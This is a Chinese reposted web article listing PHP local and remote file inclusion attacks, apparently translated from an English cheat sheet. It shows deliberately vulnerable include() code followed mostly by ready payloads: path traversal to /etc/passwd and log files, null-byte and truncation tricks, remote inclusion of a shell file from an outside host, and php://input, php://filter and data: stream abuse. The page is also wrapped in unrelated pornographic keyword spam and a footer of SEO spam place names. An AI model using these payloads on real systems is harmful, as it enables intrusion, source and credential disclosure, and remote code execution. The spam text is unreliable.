国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

關于PHP文件包含一些漏洞分析

2024-05-04 21:48:18
字體:
來源:轉載
供稿:網友

文章簡單的分析了在php文件包含時inlcude的一個漏洞分析,下面希望對大家有點用處.

基本的文件包含漏洞,代碼如下:

  1. <?php include(“includes/” . $_GET['file']); ?> 
  2. * 包含同路徑下的文件: 
  3. file=.htaccess 
  4. * 路徑遍歷: 
  5. file=../../../../../../../../../var/lib/locate.db 
  6. (該文件非常有趣因為它允許你搜索文件系統) 
  7. * 包含注入PHP代碼的文件: 
  8. file=../../../../../../../../../var/log/apache/error.log 
  9. (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.) 

受限的本地文件包含如下代碼:

  1.  <?php include(“includes/” . $_GET['file'] . “.htm”); ?> 
  2. * 空字符注入(Null Byte Injection): 
  3. file=../../../../../../../../../etc/passwd%00 
  4. (需要magic_quotes_gpc=off) 
  5. * 列目錄(Null Byte Injection): 
  6. file=../../../../../../../../../var/www/accounts/%00 
  7. (僅限BSD, 需要magic_quotes_gpc=off,詳細信息here) 
  8. *路徑截斷(Path Truncation): 
  9. file=../../../../../../../../../etc/passwd........... … 
  10. (詳細信息參見 here 和 here) 
  11. * 點號截斷: 
  12. file=../../../../../../../../../etc/passwd……………. … 

僅限Windows,更多細節參見here

基本的遠程文件包含,代碼如下:

  1. <?php include($_GET['file']); ?>
  2. * 包含遠程代碼(Including Remote Code):
  3. file=[http|https|ftp]://websec.wordpress.com/shell.txt 
  4. (需要 allow_url_fopen=On 和 allow_url_include=On) 
  5. * 使用php輸入流(Using PHP stream php://input): 
  6. file=php://input 
  7. (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) 
  8. * 使用PHP過濾函數(Using PHP stream php://filter): 
  9. file=php://filter/convert.base64-encode/resource=index.php 
  10. (lets you read PHP source because it wont get evaluated in base64. More details here and here) 
  11. * Using data URIs: 
  12. file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 
  13. (需要 allow_url_include=On) 
  14. * 用于跨站腳本攻擊(Using XSS): 
  15. //開源代碼Vevb.com 
  16. file=http://127.0.0.1/path/xss.php?xss=phpcode 
  17. (makes sense if firewalled or only whitelisted domains allowed) 

受限的遠程文件包含漏洞,代碼如下:

  1. <?php include($_GET['file'] . “.htm”); ?> 
  2. * file=http://websec.wordpress.com/shell 
  3. * file=http://websec.wordpress.com/shell.txt? 
  4. * file=http://websec.wordpress.com/shell.txt%23 
  5. (需要 allow_url_fopen=On 和 allow_url_include=On) 

靜態遠程文件包含漏洞,代碼如下:

  1. <?php include(“http://192.168.1.10/config.php”); ?> 
  2. * 中間人攻擊(Man In The Middle) 
  3. (lame indeed, but often forgotten) 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 新竹市| 贵德县| 辽中县| 常山县| 大埔县| 卢湾区| 加查县| 温州市| 双鸭山市| 江安县| 大理市| 光山县| 南召县| 乌拉特中旗| 南郑县| 乌苏市| 汨罗市| 德阳市| 景宁| 凉山| 台湾省| 五家渠市| 葫芦岛市| 泰顺县| 江城| 平南县| 德保县| 临海市| 合阳县| 陆良县| 平阳县| 鹤庆县| 金门县| 自治县| 淮南市| 平阴县| 西平县| 黑山县| 定边县| 新乡市| 佳木斯市|